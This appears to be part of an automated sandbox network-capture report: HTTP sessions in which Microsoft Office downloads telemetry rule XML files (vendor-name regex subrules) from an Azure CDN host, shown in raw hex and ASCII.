2024-11-17 21:20:21 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:21 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:21 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5d8d4d17-101e-007a-18d2-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212021Z-16547b76f7fgfpmjhC1DFWw6ec000000047g00000000ktvm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:21 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:21 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:21 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 7d8b8a82-001e-0066-1ad2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212021Z-1866b5c5fbbg9tvxhC1DFWy9mg00000000p000000000ebks x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:21 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:21 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: ccb6a3a7-001e-0017-1ab5-370c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212021Z-16547b76f7f5b5tthC1DFWuk8400000003c000000000pdkx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:21 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:21 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212021Z-16547b76f7fqqjnnhC1DFWxv74000000031000000000s2hm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:21 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:21 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212021Z-16547b76f7f6892shC1DFWawd000000001t000000000hesb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:21 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:22 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:22 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212022Z-16547b76f7f6892shC1DFWawd000000001y00000000011m2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:22 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:22 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212022Z-16547b76f7f9s8x7hC1DFWywrg00000004p000000000ayw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:22 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212022Z-16547b76f7fgfpmjhC1DFWw6ec000000048000000000kbr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:22 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:22 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bd6b8569-001e-0034-58a8-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212022Z-16547b76f7fr5rfnhC1DFW0am400000002a000000000dpzr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:23 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:22 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:22 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212022Z-1866b5c5fbbldb6rhC1DFW4bew000000050000000000gyd6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:23 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:23 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: bd894aa1-501e-008f-0bc4-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212023Z-16547b76f7fjx5nrhC1DFW4dsc00000001y000000000qngc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:23 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
